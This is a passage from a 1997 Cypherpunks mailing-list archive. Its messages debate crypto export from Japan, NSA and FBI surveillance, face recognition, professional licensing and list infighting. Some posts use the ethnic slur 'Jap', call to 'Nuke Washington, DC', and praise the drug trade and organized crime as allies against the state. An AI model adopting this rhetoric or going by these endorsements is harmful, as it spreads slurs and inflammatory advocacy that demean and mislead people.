what pages to page out and what pages not to,
but obviously if you're using it for security that's different.

SunOS had the /tmpfs file system design which let you
get hybrid behavior - temp files stay in RAM until
they need to get swapped out to disk, and most programs
delete them before that ever happens - really speeds up compiles.
>From a cryptographic standpoint, it's not ideal, since occasionally
your files would end up on disk, but they'd usually be safe.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 17 Nov 1997 08:12:58 +0800
To: "wabe" <cypherpunks@toad.com>
Subject: Re: evolRe: What cypherpunks used to be
In-Reply-To: <01bcf27e$a115e8e0$737f61ce@dave>
Message-ID: <3.0.3.32.19971116130115.007134ec@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:58 AM 11/16/1997 -0800, wabe wrote:
>ANONYMOUS said:
>> evolve or die
>
>Evolution requires death, by definition.  

No - it requires different reproduction rates.
If the old population hangs around without dying, 
or reproduction works by splitting, that's fine.
Seems to have happened to the list....
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 03:12:00 +0800
To: cypherpunks@toad.com
Subject: Re: Exporting crypto from Japan : Was Tim May's offensive racism
In-Reply-To: <199711161635.BAA06329@eccosys.com>
Message-ID: <oPX0Fe42w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito <jito@eccosys.com> writes:
[alleging that Jap MITI ministry is in violation of Japs' own laws]
>                                        I have informed RSA that they
> could take MITI to court on this one, but as far as I know, they haven't.
> So, yes, Japanese stooges were involved, but companies such as RSA
> haven't taken advantage of their legal position in pushing the export
> of their products from Japan.

So, an American company should seek redress in Jap courts against a branch
of the Jap gubmint violating Japs' own laws?  Bwa-ha-ha-ha!!!!1!1!!

Tell that to the American suckers who bought some Jap stock and tried to
attend Jap stockholder meetings and asked Jap courts to protect their
property rights as stockholders.  Do you remember that one, Ito-san?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 03:07:42 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism
In-Reply-To: <19971116085933.51526@songbird.com>
Message-ID: <9yX0Fe43w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> I have come to appreciate the level of courage involved.  It's not
> like spitting out obnoxious statements to a friendly crowd of toadies
> on cypherpunks.

Are you calling me a Timmy May toady, Kent?  What have you been smoking?
I will fight for Timmy's freedom of speech even though I think he knows
very little about modern cryptography.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 17 Nov 1997 05:25:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: the art of fighting without fighting
In-Reply-To: <199711161959.UAA14136@basement.replay.com>
Message-ID: <19971116131753.23782@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Nov 16, 1997 at 12:33:59PM -0700, Tim May wrote:
[...]
> 
> But people like Hettinga and Crispin believe in guilt by viewpoint,

Coming from you this is truly funny statement.

> and in keeping quiet so as not to make the authorities mad.

??Don't believe I ever said anything to that effect...

> Me, my actions have been to move away from "soft targets." 

You're a dead man regardless, Tim, as are we all. It's just a matter of
time. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 03:07:43 +0800
To: cypherpunks@toad.com
Subject: Re: The Policeman Inside
In-Reply-To: <v03102822b094c86ba119@[207.167.93.63]>
Message-ID: <R4X0Fe44w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> up, to deploy more unbreakable crypto, to encourage more armed militias to
> spring up, to destabilize the regimes in Hong Kong, Japan, and India, and

And the U.S. too.  Death to the fascists!  Nuke Washington, DC!!!!1!1!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Mon, 17 Nov 1997 08:36:54 +0800
To: David HM Spector <Cypherpunks@cyberpass.net
Subject: Re: mini-review: The Electronic Privacy Papers
In-Reply-To: <199711161549.KAA17326@wintermute.ny.zeitgeist.com>
Message-ID: <v03102800b09520dd8206@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:49 AM -0500 11/16/1997, David HM Spector wrote:
>This has got to be the "Book of the Year"...If you only read one book
>before the end of the year, or even one book ALL of next year, this is
>the book you MUST read:
>
>		    The Electronic Privacy Papers
>		  by Bruce Schneier and David Banisar
>	  Wiley Computer Publishing/John Wiley & Sons, Inc.
>			 ISBN: 0-471-12297-1
>
>For you Amazon.com junkies, here's the URL:
>
>   http://www.amazon.com/exec/obidos/ats-query/9615-8912043-502933

Amazon has it on 3-5 week back order :-(

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Nov 1997 03:46:28 +0800
To: cypherpunks@toad.com
Subject: Re: Tim May's offensive racism
Message-ID: <1.5.4.32.19971116194155.0071d8f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri,

Thanks for reposting Kent's slur of toads.

Where to begin defense of toadism? Why not with Toad,
(see from above) the mother of toads, the nodehome of thousands 
of Toadies, year after year, even now for few, until ... well, no 
need for that again.

How about the newly built To, the safehome of www.cpunks.

Toto? Maybe a stretch.

Request-Remailing-To:? Now, that's close family.

Reply to:

X-post to:

And forward to:

Come on, Kent, why deny the fundamental purpose of the Net:

Send to:
Spoof to:
Lie to:
Obnox to:
Joke to:

Friendly crowds of to-addicts.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Mon, 17 Nov 1997 08:36:44 +0800
To: cypherpunks@cyberpass.net
Subject: Citizenship, soverignty and insular areas
Message-ID: <v03102802b0952c4c31a1@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/enriched

 A very interesting report just published which, while explaining to a Congressional Committee about the legal status of certain small U.S. possessions and territories, touches on differences in the application of U.S. law and citizenship in these areas.  Interestingly,

"The Constitution does not apply in its entirety to territories solely by
virtue of the fact that those territories have come under the possession
and control of the United States. Whether rights under the Constitution
apply to a territory and, if so, to what extent depends essentially on either
of two factors, according to a series of Supreme Court decisions called the
Insular Cases.15 The first is whether the right in question is considered to
be "fundamental" or not; the second is whether the Congress has taken
legislative action to extend the Constitution to the territory."

In particular, federal income tax does not apply to many of these possessions (e.g., Saipan) and have become tax havens for some U.S. citizens.

-  U.S. Insular Areas: Application of the U.S. Constitution.
OGC-98-5. 13 pp. plus 7 appendices (58 pp.) November 7, 1997. 
http://www.gao.gov/new.items/og98005.pdf





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 04:53:49 +0800
To: cypherpunks@toad.com
Subject: Re: Please not to use the term
In-Reply-To: <v03102827b094dd278047@[207.167.93.63]>
Message-ID: <k140Fe46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy May <tcmay@got.net> writes:
> "Please not to use the term 'Russian roulette.'"

Russian roulette was invented by the Russian poem Lermontov, who
also had some unkind things to say abotu Armenians (sorry, Ray).

What about "Russian leather" and "black Russian"?

"Please not to use Russian leather when binding books".

Or is it, "Please to use, but to call something vegetarian."

Russians also invented baseball (called "lapta" in Russian).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason <rennie@one.net.au>
Date: Sun, 16 Nov 1997 13:00:53 +0800
To: cypherpunks@toad.com
Subject: Re: Mail interception
In-Reply-To: <346E2E39.A29AFEE2@one.net.au>
Message-ID: <346E7AFC.62CDD4FE@one.net.au>
MIME-Version: 1.0
Content-Type: text/plain



>
>
> Dave,
>   It worked, thanks. It is a shame that a few jerkoffs have to spoil
> the list for everyone else.
>
> regards jason

  thank you really dave.

some jerk off continues to spoof the list.

THanks for the info dave

really regards jason





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Mon, 17 Nov 1997 06:30:33 +0800
To: cypherpunks@cyberpass.net
Subject: Politically Correct Riding Hood
Message-ID: <199711162222.QAA29767@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Author Unknown (to me at least) but it fits in well with our current
discussion of how not to offend various minority groups.
 
-----
 
There once was a young person named Little Red Riding Hood who lived
on the edge of a large forest full of endangered owls and rare plants
that would probably provide a cure for cancer if only someone took the
time to study them.
 
Red Riding Hood lived with a nurture giver whom she sometimes referred
to as "mother," although she didn't mean to imply by this term that
she would have thought less of the person if a close biological link
did not in fact exist.
 
Nor did she intend to denigrate the equal value of non traditional
households, although she was sorry if this was the impression
conveyed.
 
One day her mother asked her to take a basket of organically grown
fruit and mineral water to her grandmother's house.
 
"But mother, won't this be stealing work from the unionized people who
have struggled for years to earn the right to carry all packages
between various people in the woods?"
 
Red Riding Hood's mother assured her that she had called the union
boss and gotten a special compassionate mission exemption form.
 
"But mother, aren't you oppressing me by ordering me to do this?"
 
Red Riding Hood's mother pointed out that it was impossible for womyn
to oppress each other, since all womyn were equally oppressed until
all womyn were free.
 
"But mother, then shouldn't you have my brother carry the basket,
since he's an oppressor, and should learn what it's like to be
oppressed?"
 
And Red Riding Hood's mother explained that her brother was attending
a special rally for animal rights, and besides, this wasn't
stereotypical womyn's work, but an empowering deed that would help
engender a feeling of community.
 
"But won't I be oppressing Grandma, by implying that she's sick and
hence unable to independently further her own selfhood?"
 
But Red Riding Hood's mother explained that her grandmother wasn't
actually sick or incapacitated or mentally handicapped in any way,
although that was not to imply that any of these conditions were
inferior to what some people called "health".
 
Thus Red Riding Hood felt that she could get behind the idea of
delivering the basket to her grandmother, and so she set off.
 
Many people believed that the forest was a foreboding and dangerous
place, but Red Riding Hood knew that this was an irrational fear based
on cultural paradigms instilled by a patriarchal society that regarded
the natural world as an exploitable resource, and hence believed that
natural predators were in fact intolerable competitors.
 
Other people avoided the woods for fear of thieves and deviants, but
Red Riding Hood felt that in a truly classless society all
marginalized peoples would be able to "come out" of the woods and be
accepted as valid lifestyle role models.
 
On her way to Grandma's house, Red Riding Hood passed a woodchopper,
and wandered off the path, in order to examine some flowers.
 
She was startled to find herself standing before a Wolf, who asked her
what was in her basket.
 
Red Riding Hood's teacher had warned her never to talk to strangers,
but she was confident in taking control of her own budding sexuality,
and chose to dialogue with the Wolf.
 
She replied, "I am taking my Grandmother some healthful snacks in a
gesture of solidarity."
 
The Wolf said, "You know, my dear, it isn't safe for a little girl to
walk through these woods alone."
 
Red Riding Hood said, "I find your sexist remark offensive in the
extreme, but I will ignore it because of your traditional status as an
outcast from society, the stress of which has caused you to develop an
alternative and yet entirely valid world view. Now, if you'll excuse
me, I would prefer to be on my way."
 
Red Riding Hood returned to the main path, and proceeded towards her
Grandmother's house.
 
But because his status outside society had freed him from slavish
adherence to linear, Western-style thought, the Wolf knew of a quicker
route to Grandma's house.
 
He burst into the house and ate Grandma, a course of action
affirmative of his nature as a predator.
 
Then, unhampered by rigid, traditionalist gender role notions, he put
on Grandma's nightclothes, crawled under the bedclothes, and awaited
developments.
 
Red Riding Hood entered the cottage and said,
 
"Grandma, I have brought you some cruelty free snacks to salute you in
your role of wise and nurturing matriarch."
 
The Wolf said softly "Come closer, child, so that I might see you."
 
Red Riding Hood said, "Goddess! Grandma, what big eyes you have!"
 
"You forget that I am optically challenged."
 
"And Grandma, what an enormous, what a fine nose you have."
 
"Naturally, I could have had it fixed to help my acting career, but I
didn't give in to such societal pressures, my child."
 
"And Grandma, what very big, sharp teeth you have!"
 
The Wolf could not take any more of these specist slurs, and, in a
reaction appropriate for his accustomed milieu, he leaped out of bed,
grabbed Little Red Riding Hood, and opened his jaws so wide that she
could see her poor Grandmother cowering in his belly.
 
"Aren't you forgetting something?" Red Riding Hood bravely shouted.
"You must request my permission before proceeding to a new level of
intimacy!"
 
The Wolf was so startled by this statement that he loosened his grasp
on her. At the same time, the woodchopper burst into the cottage,
brandishing an ax.
 
"Hands off!" cried the woodchopper.
 
"And what do you think you're doing?" cried Little Red Riding Hood.
"If I let you help me now, I would be expressing a lack of confidence
in my own abilities, which would lead to poor self esteem and lower
achievement scores on college entrance exams."
 
"Last chance, sister! Get your hands off that endangered species! This
is an FBI sting!" screamed the woodchopper, and when Little Red Riding
Hood nonetheless made a sudden motion, he sliced off her head.
 
"Thank goodness you got here in time," said the Wolf. "The brat and
her grandmother lured me in here. I thought I was a goner."
 
"No, I think I'm the real victim here," said the woodchopper. "I've
been dealing with my anger ever since I saw her picking those
protected flowers earlier. And now I'm going to have such a trauma. Do
you have any aspirin?"
 
"Sure," said the Wolf.
 
"Thanks."
 
"I feel your pain," said the Wolf, and he patted the woodchopper on
his firm, well padded ass, gave a little belch, and said, "Do you have
any Maalox?"

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 17 Nov 1997 08:35:21 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan
In-Reply-To: <v03102823b094cab52ad8@[207.167.93.63]>
Message-ID: <v03102800b0952d88bc56@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:43 PM -0700 11/16/97, Joichi Ito wrote:

>who also have domestic political strength. Also, I looked into the "Chobetsu"
>that you refered to in a previous message and I think you are refering to the
>"Naikaku Chosashitsu Betsushitsu" which is the group that engages in the often
>rather shady "super-legal" actions like stamping out political parties and
>going after cults. I don't think they have any direct involvement in the
>current

My first knowledge of Chobetsu came from noted intelligence expert Jeffery
Richelson's book on intelligence agencies. Also, as I noted some months
back, various Web sources cite it. As to the spelling, I'm using
Richelson's. He cites Chobetsu's role in various NSA-like activities.

(And I recall Seymour Hersh, in "Shootdown," describing some of the SIGINT
and COMINT functions of this and other agencies.)

My strong suspicion is that Japanese journalists and source are NOT the
best place to learn about Japanese SIGINT and COMINT capabilities. Not hard
to see some reasons for this.


>RSA issue and I wouldn't call them "Japan's NSA." They are more like some
>kind of secret police. (I can already image the kind of messages I'm going to
>receive on this list for engaging with you at this level of dialog, but for
>the
>benefit of some of the lurkers, I think it's worth it...) My point is, you
>are probably
>right that there is some activity by groups like the NSA putting pressure on
>exposed parts of Japanese government to stifle export of crypto. But... the
>current Japanese government is not as organized as you might think and
>there are many different groups with different opinions. I don't think it is

Aside from these issues of whether they're as organized as you think I
think they are, all that matters is how quickly they yanked the RSA chip
after Bidzos held it up before Congress.



>is interested in looking into the detail. I personally think that the
>impact of
>Japan's actions is great enough so that it might be worth engaging rather
>than just writing us off.

Oh, OK. I'll "engage" and not just write Japan off.

Please notify me, and us, of the forums where these engagements are
occurring. For starters, how about some e-mail addresses of cabinet
ministers and other officials.


>P.S. I can already see this message going down in a flurry a flames.
>Although I'm getting used to ignoring irrelevant messages and taking
>cheap shots at Tim when I have the chance, I'm still not sure if the risk
>of engaging in dialog "out in the open" is worth the net reputation
>capital earned after all of the mud is slung. Also, I'm not sure whether
>giving away all of my tactics just to win an arguement is worth it.
>Maybe it is better to save those rounds for the real fight. My point is,
>if people on this list are really going to do anything about crypto
>I'll continue to weather the attacks and engage in dialog with you.
>If the point of this list is to just beat each other up and talk about how
>bad it all is, then I'm going to give up.

This discussion is hardly going down in flames. You're apparently too
sensitive to engage in robust debate.

Frankly, I've seen no mentions in the American press, let alone the
Japanese press, about how Japan caved in to U.S. pressures. (There may have
been some minor mentions in the U.S. press, but they had little impact.)

So, Joichi, why don't you stir the shit on this one? And I don't mean with
"constructive engagement." That's a synonym for inaction.

Point out to your Japanese readers the nefarious role the NSA is playing,
the role of the U.S. spy facilities in Misakawa Air Force Base, where the
NSA and its military liason offices, intercept the communications of
Toshiba, Fujitsu, Hitachi, NEC, and so on and feed them, selectively, to
U.S. COMINT consumers. (Why Japan and Germany allow U.S. SIGINT facilities
in their own territory is a mystery to me...must be some nice payoffs to
senior officials.)

Declare war on the NSA. You've several times trumpetted the Japanese
Constitution as supporting basic rights even more than the Amerikan
Constitution does, so this is your chance to say "Fuck the National
Security State."

Get the RSA chip released widely and quickly. The drug trade in Asia could
use it right now.

(No, this is not a joke. I favor full availability of any and all drugs to
anyone who wants them. This makes the Triads and Yakuza allies in defeating
the New World Order. The ComSec 3DES phones are a step in defeating the
DEA, Interpol, and other police state agencies, but the RSA chip would make
a lot of such things much more interesting.)

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Mon, 17 Nov 1997 08:37:40 +0800
To: cypherpunks@cyberpass.net
Subject: House Panel Questions FBI Implementation of Wiretap Law
Message-ID: <v03102803b09534dc34a1@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



I doubt any of these revelations will come as a shock to list members.

--Steve

------------------

Excerpt from ACLU News 10-26-97

House Panel Questions FBI Implementation of Wiretap Law

FOR IMMEDIATE RELEASE Thursday, October 23, 1997

WASHINGTON -- Amid growing concerns about privacy implications and
costs, a House subcommittee today questioned FBI implementation of a
controversial 1994 law that forced telephone companies help law
enforcement agencies gain access to digital phone lines for
surveillance operations.

During the four-hour hearing before the Crime Subcommittee of the House
Judiciary Committee, two Republicans -- Bob Barr of Georgia and Steve
Chabot of Ohio -- were harshly critical of the 1994 law, has
implemented it, saying it represents an enormous invasion of privacy
and could lead to a system of ongoing government surveillance.

Seconding those criticisms, the American Civil Liberties Union said
that safeguards originally implemented in the legislation have failed
to protect the American public. "The hearing today clearly revealed
that the FBI is embarked on a scheme to undermine the privacy of every
law-abiding American," said Donald Haines, a Legislative Counsel with
the ACLU's Washington National Office.

"From the very beginning, the FBI has flagrantly violated both the
process and the requirements set out in the legislation," Haines
added.  "The FBI has repeatedly sought to coerce the telecommunications
industry into changing its technology so that law enforcement agencies
could increase their wiretapping."

The 1994 telecommunications act is far from the only effort by the FBI
to gain backdoor access to private communications. In another ongoing
Congressional debate, the FBI is trying to impose restrictions on the
use of privacy-protecting encryption technology.

"Congress must squarely confront this persistent pattern of FBI and law
enforcement intrusions into our privacy," Haines said. "Congress should
act immediately to repeal the 1994 law, or, at an absolute minimum,
refuse to fund any implementation activities."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 17 Nov 1997 08:43:51 +0800
To: cypherpunks@Algebra.COM
Subject: Licensing, Guilds, Rent-Seeking, and the Shakedown State
In-Reply-To: <199711162350.AAA16143@basement.replay.com>
Message-ID: <v03102801b09532f40293@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:50 PM -0700 11/16/97, Anonymous wrote:
>The DEA announced friday that doctors in Oregon that participate in doctor
>assisted suicides will have their licence to prescribe drugs revoked.
>Since when did the DEA gestapo obtain the power to regulate physician's
>rights to prescribe the drugs their patients need? But more important is
>the realization that the thugs in

This has happened before, of course. A case in Virginia got a lot of
attention not too long ago, e.g., on "60 Minutes." And here in California,
where voters also passed a "medical use of marijuana" proposition,
Washington is threatening revocation of doctor's licenses.

There are obviously some major "states rights" issues here, and there may
be some Supreme Court cases coming down the pike.

A larger issue, one at a meta-level, is where "licensing" of _any_
profession or career comes from. How can some professions require licenses?
Where does this authority come from? And what are the roles of ostensibly
private organizations like the American Medical Association and the
American Bar Association  in the administration and granting of such
licenses?

(Long-time readers should of course know my views, that these entities are
essentially modern versions of "guilds." Hardly a position original with
me. But a disturbing trend, as more and more fields arrange for licensing.
Economists call this "rent-seeking." The American Aptical Foddering
Association sets themselves up as the arbiters of who can be an Aptical
Fodderer, and rigs a deal with the police state to arrest and jail anyone
who "practices aptical foddering without a license." A shakedown state.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Mon, 17 Nov 1997 14:04:52 +0800
To: cypherpunks@cyberpass.net
Subject: [FWD] Finding a Face in the Crowd
Message-ID: <v03102807b09549870fe1@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



From: Jeffrey Waters 000-000-0000 <WATERSJ1@mail.firn.edu>
Date: 06 Nov 1997 08:23:26 -0500 (EST)
Subject: Finding a Face in the Crowd

Found this on a visit to "Science NEWS - EurekAlert! Public Contents"
at  http://www.eurekalert.org . Interesting to note that the technology
was developed with US military funding and is commercially marketed in
the EU.

Oh well Mr. Orwell, you've never believe how far we've come...

"Mugspot" Can Find A Face In The Crowd - Award-Winning Face-Recognition
Software Prepares to Go to Work in the Streets

Computer "eyes" are now up to such tasks as watching for fugitives in
airline terminals and other busy locations. A sophisticated
face-recognition system that placed first in recent Army competitive
trials has been given the added ability to pick out faces in noisy or
chaotic "street" environments.

The new "Mugspot" software module developed at the University of
Southern California automatically analyzes video images, looking for
passers-by.  When it finds them, it picks out the heads in the images
and then tracks the heads for as long as they remain in the camera's
field.

Throughout this tracking process, the software is watching for the best
possible view of the subject's face -- the one that shows him or her
looking most directly at the camera. It selects the best view presented
and passes it on to the main face-recognition program.

This face-recognition software, developed at USC and the University of
Bochum, Germany, and now in commercial use for clients such as
Germany's Deutsche Bank, is robust enough to make identifications from
less-than- perfect face views. It can also often see through such
impediments to identification as mustaches, beards, changed hair styles
and glasses -- even sunglasses.

<...snip...>

Cameras mounted in airports and bus stations, or aimed at oncoming cars
at traffic intersections, might continuously watch for known fugitives,
von der Malsburg says. Bank surveillance cameras could identify persons
seen at previous bank robberies.

The Mugspot system can scan eight video frames per second in real time,
and takes about 13 seconds to select the best view, process it for
identification, compare it to the several hundred faces in its memory
and decide whether it has found a match.

The three research associates who developed Mugspot with von der
Malsburg -- USC graduate student Egor Elagin, postdoctoral researcher
Hartmut Neven and Bochum University visiting graduate student Johannes
Steffens -- believe further refinement of the system can shorten that
time by half.

Mugspot is only the latest improvement in the USC/Bochum face
recognition software, developed with funds from the Army Research
Laboratory (ARL) and marketed commercially in Europe under the
trade-name ZN-Face.

<...snip...>

The USC/Bochum system also shone in tests conducted under substandard
lighting conditions: It lost only a small fraction of its accuracy,
while competitors showed drastic falloffs in less-than-brilliant
illumination.

The USC/Bochum system uses an unusual approach that mimics the
technique scientists believe the brain uses to recognize images. Von
der Malsburg, whose principal research interests lie in the
investigation of living brains, in fact carried out much of the
original research on the system as part of an attempt to understand
human face recognition. His research led to creating a computer model
of the way the brain's visual cortex processes information.

EM.MALSBURG3 -USC- NOV. 5, 1997

For Immediate Release: 5 November 1997

Contact: Eric Mankin   mankin@usc.edu       213 740 9344

from the University of Southern California News Service 3620 South
Vermont Avenue, Los Angeles, CA 90089-2538 Tel: 213 740 2215 Fax: 213
740 7600 http://www.usc.edu






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Mon, 17 Nov 1997 13:14:06 +0800
To: cypherpunks@cyberpass.net
Subject: [FWD] Technology and Privacy: The New Landscape
Message-ID: <v03102808b0954c4eb6f9@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



    Date: 06 Nov 1997 07:58:03 -0800 (PST)
    From: Phil Agre <pagre@weber.ucsd.edu>
    Subject: Technology and Privacy: The New Landscape

Feel free to post where appropriate.

  Technology and Privacy:
  The New Landscape

  edited by

    Philip E. Agre
    University of California, San Diego

    Marc Rotenberg
    Electronic Privacy Information Center

  MIT Press, 1997

  Hardcover
  ISBN: 0-262-01162-X
  $25.00

  Available through the EPIC Bookstore:

    http://www.epic.org/bookstore/

  Excerpts from the introduction can be found at:

    http://communication.ucsd.edu/pagre/landscape.html

  MIT Press Web site:

    http://mitpress.mit.edu/

Privacy is the capacity to negotiate social relationships by
controlling access to personal information.  As laws, policies, and
technological design increasingly structure people's relationships with
social institutions, individual privacy faces new threats and new
opportunities.  Over the last several years, the realm of technology
and privacy has been transformed, creating a landscape that is both
dangerous and encouraging.  Significant changes include large increases
in communications bandwidths; the widespread adoption of computer
networking and public-key cryptography; mathematical innovations that
promise a vast family of protocols for protecting identity in complex
transactions; new digital media that support a wide range of social
relationships; a new generation of technologically sophisticated
privacy activists; a massive body of practical experience in the
development and application of data-protection laws; and the rapid
globalization of manufacturing, culture, and policy making.

The essays in this book provide a new conceptual framework for the
analysis and debate of privacy policy and for the design and
development of information systems.  The authors are international
experts in the technical, economic, and political aspects of privacy;
the book's strength is its synthesis of the three.  The book provides
equally strong analyses of privacy issues in the United States, Canada,
and Europe.


Contributors:

  Philip E. Agre
    Beyond the mirror world: Privacy and the representational
    practices of computing

  Victoria Bellotti
    Design for privacy in multimedia computing and communications
    environments

  Colin J. Bennett
    Convergence revisited: Towards a global policy for personal
    data protection

  Herbert Burkert
    Privacy enhancing technologies: Typology, vision, critique

  Simon G. Davies
    Re-engineering the privacy right: How privacy has been
    transformed from a right to a commodity 

  David H. Flaherty
    Controlling surveillance: Can privacy protection be made
    effective?

  Robert Gellman
    Does privacy law work?

  Viktor Mayer-Schoenberger
    Generational development of data protection in Europe

  David J. Phillips
    Cryptography, secrets, and the structuring of trust

  Rohan Samarajiva
    Interactivity as though privacy mattered







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Nov 1997 07:19:56 +0800
To: cypherpunks@toad.com
Subject: Re: Politically Correct Riding Hood
In-Reply-To: <199711162222.QAA29767@wire.insync.net>
Message-ID: <XNaage47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Eric Cordian <emc@wire.insync.net> writes:
>
> Author Unknown (to me at least) but it fits in well with our current
> discussion of how not to offend various minority groups.
>
> -----
>
> There once was a young person named Little Red Riding Hood who lived
...

This is the first story in a very funny little book called _Politically Correct
Bedtime Stories: Modern Tales for Our Life & Times_ by james Finn Garner,
Macmillann, ISBN 0-02-542730-X, *** (C) 1994 by James Finn Garner ***.

I also have his _Once Upon a More Enlightened Time: More Politically Correct
Bedtime Stories_, Macmillan, ISBN 0-02-860419-9.  Both highly recommended.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 18 Nov 1997 03:18:07 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Tim May's offensive racism
In-Reply-To: <19971116085933.51526@songbird.com>
Message-ID: <Pine.LNX.3.91.971116175711.1782A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> So far as I know, there hasn't been a single post suggesting that 
> Tim's freedom of speech be curtailed.  Nobody is running to mommy, or 
> hiding under the bed.  And in the context of this list I have no idea 
> what "over-zealous pinko liberal" means.

I agree that a lot of comment on the subject has been from the point of 
view you outline above, but several anonymous posts have been of the 
ranting kind that suggests the poster is a quasi-libertarian who believes 
in "freedom of speech, almost". As for the quote, I think in the ranting 
context of the discussion a few pointless and out of context mild flames 
aren`t entirely out of place, and "over-zealous pinko liberal" was just 
the first one that sprang to mind after a few too many whiskeys.

> > Racist comments to me would be those that generalised the opinion to all 
> > Japanese, Tim insulted one particular person.
> 
> I don't base my assessment of Tim on that single incident -- it's 
> based on a history of his comments going back some time.  And I only 
> bring it up now because others have.  

If this is truly the case you have more justification for your comments 
(even though I happen to disagree with them) than most who have posted on 
this subject, who have reacted soley on this one isolated statement without 
any reference to Tims other posts.

